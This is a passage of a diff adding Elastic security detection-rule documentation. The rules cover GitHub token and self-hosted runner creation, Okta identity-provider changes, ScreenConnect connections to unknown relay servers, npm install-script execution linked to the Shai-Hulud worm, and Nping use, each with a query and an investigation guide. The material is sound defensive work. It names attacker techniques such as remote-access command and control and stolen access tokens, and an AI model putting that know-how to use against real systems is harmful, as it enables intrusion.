maintenance activities create PATs for service or automation use with scoped repository access and set expiration, producing anticipated alerts from known corporate locations. + + +*Response and remediation* + + +- Revoke the specific PAT referenced in the alert via GitHub UI or API immediately, and temporarily lock the user account if the token’s origin, scopes, or target repositories are not expected. +- If any activity is observed with this PAT, rotate repository and organization secrets, remove newly added deploy keys and suspicious OAuth app grants, and strip unauthorized collaborator or team role changes. +- Force a password reset for the account owner, invalidate active sessions, require fresh 2FA re-enrollment, and delete any other nonessential PATs before restoring normal access. +- Review audit and repository logs for API calls authenticated with this PAT since its creation, block offending source IPs in network controls, and enable GitHub IP allow lists or SSO enforcement to restrict token use to trusted contexts. +- Escalate to incident response if the PAT has admin or organization owner scopes, was created from an unfamiliar location or device, or was used to clone private repositories or change security settings. +- Harden going forward by enforcing fine-grained, expiring, SSO-enforced PATs, disabling classic tokens at the organization, requiring approval for new PATs, and migrating automation to GitHub Apps with least-privilege permissions. + + +==== Rule query + + +[source, js] +---------------------------------- +configuration where event.dataset == "github.audit" and github.operation_type == "create" and +github.category == "personal_access_token" and event.action == "personal_access_token.access_granted" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Cloud Account +** ID: T1136.003 +** Reference URL: https://attack.mitre.org/techniques/T1136/003/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-new-github-self-hosted-action-runner.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-new-github-self-hosted-action-runner.asciidoc new file mode 100644 index 0000000000..dc6cfad15c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-new-github-self-hosted-action-runner.asciidoc @@ -0,0 +1,116 @@ +[[prebuilt-rule-8-19-20-new-github-self-hosted-action-runner]] +=== New GitHub Self Hosted Action Runner + +This rule detects the creation of a self-hosted Github runner from a first time seen user.name in the last 5 days. Adversaries may abuse self-hosted runners to execute workflow jobs on customer infrastructure. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-github.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/blog/shai-hulud-worm-npm-supply-chain-compromise +* https://socket.dev/blog/shai-hulud-strikes-again-v2 +* https://www.wiz.io/blog/shai-hulud-2-0-ongoing-supply-chain-attack + +*Tags*: + +* Domain: Cloud +* Use Case: Threat Detection +* Tactic: Initial Access +* Data Source: Github +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating New GitHub Self Hosted Action Runner* + + +Adversaries who gain the ability to modify or trigger workflows in a linked GitHub repository can execute arbitrary commands on the runner host. + + +*Possible investigation steps* + + +- Validate the user is authoried to perform this change +- Review the purpose of the self-hosted action runner and what actions will be executed. +- Verify if there is any adjascent sensitive file access or collection. +- Correlate with other alerts and investiguate if this activity is related to a supply chain attack. + + +*False positive analysis* + + +- Authorized github self-hosted actions runner. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized command execution and potential lateral movement. +- Terminate any suspicious child processes that were initiated by the Github actions runner. +- Conduct a thorough review of the affected system's logs and configurations to identify any unauthorized changes or additional indicators of compromise. +- Restore the system from a known good backup if any unauthorized changes or malicious activities are confirmed. +- Implement application whitelisting to prevent unauthorized execution. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the potential impact on the broader network. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:"github.audit" and + event.category:"configuration" and + event.action: ( + "repo.register_self_hosted_runner" or + "org.register_self_hosted_runner" or + "enterprise.register_self_hosted_runner" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Supply Chain Compromise +** ID: T1195 +** Reference URL: https://attack.mitre.org/techniques/T1195/ +* Sub-technique: +** Name: Compromise Software Dependencies and Development Tools +** ID: T1195.001 +** Reference URL: https://attack.mitre.org/techniques/T1195/001/ +* Sub-technique: +** Name: Compromise Software Supply Chain +** ID: T1195.002 +** Reference URL: https://attack.mitre.org/techniques/T1195/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-new-okta-identity-provider-idp-added-by-admin.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-new-okta-identity-provider-idp-added-by-admin.asciidoc new file mode 100644 index 0000000000..4a0901ce2c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-new-okta-identity-provider-idp-added-by-admin.asciidoc @@ -0,0 +1,137 @@ +[[prebuilt-rule-8-19-20-new-okta-identity-provider-idp-added-by-admin]] +=== New Okta Identity Provider (IdP) Added by Admin + +Detects the creation of a new Identity Provider (IdP) by a Super Administrator or Organization Administrator within Okta. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 15m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.cloudflare.com/cloudflare-investigation-of-the-january-2022-okta-compromise/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection +* https://unit42.paloaltonetworks.com/muddled-libra/ +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Data Source: Okta +* Resources: Investigation Guide + +*Version*: 209 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating New Okta Identity Provider (IdP) Added by Admin* + + +This rule detects the creation of a new Identity Provider (IdP) by a Super Administrator or Organization Administrator within Okta. + + +*Possible investigation steps:* + +- Identify the actor associated with the IdP creation by examining the `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, and `okta.actor.display_name` fields. +- Identify the IdP added by reviewing the `okta.target` field and determing if this IdP is authorized. +- Determine the client used by the actor. Review the `okta.client.ip`, `okta.client.user_agent.raw_user_agent`, `okta.client.zone`, `okta.client.device`, and `okta.client.id` fields. +- If the client is a device, check the `okta.device.id`, `okta.device.name`, `okta.device.os_platform`, `okta.device.os_version`, and `okta.device.managed` fields. +- Review the past activities of the actor involved in this action by checking their previous actions logged in the `okta.target` field. +- Examine the `okta.request.ip_chain` field to potentially determine if the actor used a proxy or VPN to perform this action. +- Evaluate the actions that happened just before and after this event in the `okta.event_type` field to help understand the full context of the activity. + + +*False positive analysis:* + +- It might be a false positive if the action was part of a planned activity or performed by an authorized person. +- Several unsuccessful attempts prior to this success, may indicate an adversary attempting to add an unauthorized IdP multiple times. + + +*Response and remediation:* + +- If the IdP is unauthorized, deactivate it immediately via the Okta console. +- If the IdP is authorized, ensure that the actor who created it is authorized to do so. +- If the actor is unauthorized, deactivate their account via the Okta console. +- If the actor is authorized, ensure that the actor's account is not compromised. +- Reset the user's password and enforce MFA re-enrollment, if applicable. +- Block the IP address or device used in the attempts if they appear suspicious, using the data from the `okta.client.ip` and `okta.device.id` fields. +- Conduct a review of Okta policies and ensure they are in accordance with security best practices. +- If the deactivated IdP was crucial to the organization, consider adding a new IdP and removing the unauthorized IdP. + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "okta.system" and event.action: "system.idp.lifecycle.create" and okta.outcome.result: "SUCCESS" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Hybrid Identity +** ID: T1556.007 +** Reference URL: https://attack.mitre.org/techniques/T1556/007/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Sub-technique: +** Name: Trust Modification +** ID: T1484.002 +** Reference URL: https://attack.mitre.org/techniques/T1484/002/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Hybrid Identity +** ID: T1556.007 +** Reference URL: https://attack.mitre.org/techniques/T1556/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-newly-observed-screenconnect-host-server.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-newly-observed-screenconnect-host-server.asciidoc new file mode 100644 index 0000000000..3701aa23ed --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-newly-observed-screenconnect-host-server.asciidoc @@ -0,0 +1,158 @@ +[[prebuilt-rule-8-19-20-newly-observed-screenconnect-host-server]] +=== Newly Observed ScreenConnect Host Server + +Detects when the ScreenConnect client (ConnectWise Control) connects to a newly observed host server that is not the official ScreenConnect cloud. ScreenConnect is a common RMM/remote access tool abused for C2 and persistence. Self-hosted or non-standard relay servers may indicate abuse or compromise. The rule aggregates by server host (parsed from the client command line), requires first-time observation within the rule window, and limits to a single host to reduce noise. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 6m + +*Searches indices from*: now-5d ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1219/002/ +* https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-025a + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Resources: Investigation Guide +* Data Source: Elastic Defend + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Newly Observed ScreenConnect Host Server* + + + +*Possible investigation steps* + + +- What do the alert-preserved fields tell you about this new ScreenConnect relay? + - Focus: `Esql.screenconnect_server`, `Esql.user_name_values`, `Esql.first_time_seen`, `host.id`, `host.name`, and `process.command_line`; note `Esql.*` fields are alert-local, not source-event records. + - Implication: supports concern when the relay is an IP literal or unknown domain; weaker when it points to a recognized internal relay or managed service provider host. + +- Does the ScreenConnect client binary and install path match recognized software on this host? + - Focus: recover from source events via `process.entity_id`: `process.executable`, `process.pe.original_file_name`, `process.code_signature.subject_name`, and `process.code_signature.trusted`. !{investigate{"description":"","label":"Process events for the ScreenConnect client","providers":[[{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: suspicious when unsigned, portable, user-writable, or mismatched to its original file name; consistent only when signer and path match the expected ScreenConnect installation. + +- Does the parent and ancestry explain why this host initiated a new relay connection now? + - Focus: from the recovered source event: `process.parent.executable`, `process.parent.command_line`, `process.Ext.ancestry`, and `process.Ext.session_info.logon_type`. + - Implication: harder to justify when a script host, Office application, installer, or unexpected interactive session starts the client; easier to explain when the lineage resolves to a recognized service deployment or management tooling chain. + +- Do network events show the host contacting infrastructure consistent with the parsed relay? + - Why: `Esql.screenconnect_server` is an alert-level field, so source DNS and connection events are needed to confirm what the host actually contacted. + - Focus: DNS "lookup_result" events for `Esql.screenconnect_server` and connection events scoped to `process.entity_id` and `host.id`, checking `dns.question.name`, `dns.resolved_ip`, `destination.ip`, and `destination.as.organization.name`. !{investigate{"description":"","label":"Network events for the ScreenConnect client","providers":[[{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: supports concern when the process reaches public infrastructure with unknown ownership, or when multiple destinations cluster around the same relay; less concerning when the infrastructure matches the relay and belongs to a known hosting provider. Missing network telemetry is unresolved, not benign. + +- Does the host context fit managed service provider or internal ScreenConnect use? + - Focus: `host.id` and `Esql.user_name_values` pairing, and whether the same `Esql.screenconnect_server`, signer, and parent workflow recur across a known admin host group. + - Implication: more concerning if ScreenConnect appears on end-user or sensitive hosts not typically managed remotely, or if the user and host evidence do not fit the expected workflow; more explainable when the same managed host group, operator identity, and deployment pattern recur together. + +- Have other hosts in the environment resolved the same ScreenConnect relay domain? + - Focus: DNS events across all hosts where `dns.question.name` matches the relay from `Esql.screenconnect_server` over the last 30 days. !{investigate{"description":"","label":"Hosts resolving the same ScreenConnect relay domain","providers":[[{"excluded":false,"field":"dns.question.name","queryType":"phrase","value":"{{Esql.screenconnect_server}}","valueType":"string"}]],"relativeFrom":"now-30d/d","relativeTo":"now"}} + - Implication: multiple unrelated hosts resolving the same relay suggests a campaign or broad rollout; a single host stays locally bounded. + +- Does this host show related alerts or adjacent remote-access tooling that suggest broader compromise? + - Focus: related alerts for the same `host.id` in the last 48 hours, plus adjacent remote-access, persistence, credential-access, or delivery activity, especially renamed or portable ConnectWise or ScreenConnect binaries tied to the same relay. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: suggests broader host compromise when the asset also shows suspicious precursor delivery, persistence, credential theft, or additional remote-access tooling; stays locally bounded when the surrounding alert history is limited to expected admin activity or unrelated benign activity. + +- Escalate when the relay, client identity, launch lineage, contacted infrastructure, or host spread point to unauthorized remote access; close only when all evidence aligns with a recognized ScreenConnect workflow; if mixed or incomplete, preserve and escalate. + + +*False positive analysis* + + +- Legitimate self-hosted ScreenConnect or managed service provider ConnectWise Control can trigger this rule. Confirm when the same `Esql.screenconnect_server`, recovered `process.executable`, signer, parent workflow, and DNS evidence all align with one recognized operator. If change records are unavailable, require the same client identity and admin host group to show prior new-relay alerts from this rule. +- Before creating an exception, confirm the relay is authorized through organizational records, then build the exception on the relay domain in `process.command_line`. Avoid exceptions on `host.name` or `host.id` alone, since the rule fires per host and those would suppress only one endpoint. + + +*Response and remediation* + + +- If confirmed benign, reverse any temporary containment and document the authorized relay, client signer and path, and source-event lineage. Build the exception on the relay domain in `process.command_line` once authorization is confirmed through organizational records. +- If suspicious but unconfirmed, preserve the alert's `process.entity_id`, `process.command_line`, `Esql.screenconnect_server`, and any linked `dns.question.name` or `destination.ip` evidence. Apply reversible containment such as temporary DNS or egress blocking for the relay host. Escalate to host isolation only when the relay, lineage, or network evidence shows meaningful risk and the host's support role can tolerate it. Avoid destructive cleanup until scope is clearer. +- If confirmed malicious, document the alert's `process.entity_id`, recovered `process.executable`, `process.code_signature.subject_name`, `process.command_line`, `Esql.screenconnect_server`, and any confirmed `dns.question.name` or `destination.ip` values before initiating response actions. Use available endpoint response integrations to isolate the host when the relay, client identity, lineage, or contacted infrastructure indicates unauthorized remote access. If direct endpoint response is unavailable, escalate with the documented artifacts to the team that can act. +- Review how the software was installed, who operated the relay, and whether additional remote-access tooling or credential exposure is present on the host. Then block the malicious relay host and any confirmed relay IPs, and remove or disable the unauthorized ScreenConnect client, service, persistence mechanism, or installer artifacts identified during the investigation. +- After containment, enforce approved-relay policy for remote-access tools and retain Elastic Defend process and network telemetry needed to validate future relay changes. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-endpoint.events.process-* +| where event.category == "process" and event.type == "start" and (process.name == "ScreenConnect.ClientService.exe" or process.code_signature.subject_name == "ConnectWise, LLC") +| grok process.command_line """e=Access&y=Guest&h=(?[^&]+)&p""" +| where Esql.screenconnect_server is not null and not Esql.screenconnect_server like "*.screenconnect.com" +| stats Esql.count_distinct_host_id = count_distinct(host.id), + Esql.first_time_seen = min(@timestamp), + Esql.user_name_values = values(user.name), + Esql.command_line_values = values(process.command_line), + Esql.host_id_values = values(host.id), + Esql.host_name_values = values(host.name), + Esql.process_entity_id_values = values(process.entity_id) by Esql.screenconnect_server +| eval Esql.recent = date_diff("minute", Esql.first_time_seen, now()) +| where Esql.recent <= 6 and Esql.count_distinct_host_id == 1 +| eval host.id = mv_first(Esql.host_id_values), + host.name = mv_first(Esql.host_name_values), + process.command_line = mv_first(Esql.command_line_values), + process.entity_id = mv_first(Esql.process_entity_id_values) +| keep host.id, host.name, process.command_line, process.entity_id, Esql.screenconnect_server, Esql.user_name_values, Esql.first_time_seen + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Remote Access Tools +** ID: T1219 +** Reference URL: https://attack.mitre.org/techniques/T1219/ +* Sub-technique: +** Name: Remote Desktop Software +** ID: T1219.002 +** Reference URL: https://attack.mitre.org/techniques/T1219/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-node-js-pre-or-post-install-script-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-node-js-pre-or-post-install-script-execution.asciidoc new file mode 100644 index 0000000000..411d633502 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-node-js-pre-or-post-install-script-execution.asciidoc @@ -0,0 +1,154 @@ +[[prebuilt-rule-8-19-20-node-js-pre-or-post-install-script-execution]] +=== Node.js Pre or Post-Install Script Execution + +This rule detects the execution of Node.js pre or post-install scripts. These scripts are executed by the Node.js package manager (npm) during the installation of packages. Adversaries may abuse this technique to execute arbitrary commands on the system and establish persistence. This activity was observed in the wild as part of the Shai-Hulud worm. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-crowdstrike.fdr* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/blog/shai-hulud-worm-npm-supply-chain-compromise +* https://www.wiz.io/blog/shai-hulud-2-0-ongoing-supply-chain-attack +* https://www.elastic.co/blog/shai-hulud-worm-2-0-updated-response + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: macOS +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Execution +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Data Source: Crowdstrike +* Data Source: SentinelOne + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=10s + [process where host.os.type in ("linux", "macos") and event.type == "start" and event.action in ("exec", "ProcessRollup2", "start") and process.name == "node" and process.args == "install"] by process.entity_id + [process where host.os.type in ("linux", "macos") and event.type == "start" and event.action in ("exec", "ProcessRollup2", "start") and process.parent.name == "node"] by process.parent.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious Library +** ID: T1204.005 +** Reference URL: https://attack.mitre.org/techniques/T1204/005/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Supply Chain Compromise +** ID: T1195 +** Reference URL: https://attack.mitre.org/techniques/T1195/ +* Sub-technique: +** Name: Compromise Software Dependencies and Development Tools +** ID: T1195.001 +** Reference URL: https://attack.mitre.org/techniques/T1195/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-nping-process-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-nping-process-activity.asciidoc new file mode 100644 index 0000000000..8d2019d424 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-nping-process-activity.asciidoc @@ -0,0 +1,183 @@ +[[prebuilt-rule-8-19-20-nping-process-activity]] +=== Nping Process Activity + +Nping ran on a Linux host. Nping is part of the Nmap tool suite and has the ability to construct raw packets for a wide variety of security testing applications, including denial of service testing. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://en.wikipedia.org/wiki/Nmap + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Auditd Manager +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Nping Process Activity* + + +Nping, a component of the Nmap suite, is used for crafting raw packets, aiding in network diagnostics and security testing. Adversaries may exploit Nping to perform network reconnaissance or denial-of-service attacks by sending crafted packets to probe network services. The detection rule identifies Nping's execution on Linux systems by monitoring process start events, helping to flag potential misuse for malicious network discovery activities. + + +*Possible investigation steps* + + +- Review the process start event details to confirm the execution of Nping, focusing on the process name field to ensure it matches "nping". +- Identify the user account associated with the Nping process execution to determine if it aligns with expected or authorized usage patterns. +- Examine the command line arguments used with Nping to understand the intent of the execution, such as specific network targets or packet types. +- Check the timing and frequency of the Nping execution to assess if it correlates with any known maintenance windows or unusual activity patterns. +- Investigate network logs or traffic data to identify any unusual or unauthorized network scanning or probing activities originating from the host where Nping was executed. +- Correlate the Nping activity with other security alerts or logs from the same host to identify potential indicators of compromise or broader attack patterns. + + +*False positive analysis* + + +- Routine network diagnostics by IT teams using Nping for legitimate purposes can trigger alerts. To manage this, create exceptions for specific user accounts or IP addresses known to perform regular network testing. +- Automated scripts or monitoring tools that incorporate Nping for network health checks may cause false positives. Identify these scripts and whitelist their execution paths or associated processes. +- Security assessments or penetration tests conducted by authorized personnel might involve Nping usage. Coordinate with security teams to schedule these activities and temporarily adjust detection rules or add exceptions for the duration of the tests. +- Development or testing environments where Nping is used for application testing can generate alerts. Exclude these environments from monitoring or adjust the rule to ignore specific hostnames or network segments. +- Training sessions or workshops that include Nping demonstrations can lead to false positives. Notify the security team in advance and apply temporary exceptions for the event duration. + + +*Response and remediation* + + +- Immediately isolate the affected Linux host from the network to prevent further reconnaissance or potential denial-of-service attacks. +- Terminate the Nping process on the affected host to stop any ongoing malicious activity. +- Conduct a thorough review of recent network traffic logs from the affected host to identify any unusual or unauthorized network service discovery attempts. +- Check for any unauthorized changes or installations on the affected host that may indicate further compromise or persistence mechanisms. +- Update and apply network security policies to restrict the use of network diagnostic tools like Nping to authorized personnel only. +- Escalate the incident to the security operations team for further investigation and to determine if the activity is part of a larger attack campaign. +- Enhance monitoring and alerting for similar activities across the network by ensuring that detection rules are in place for unauthorized use of network diagnostic tools. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- Auditbeat + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run 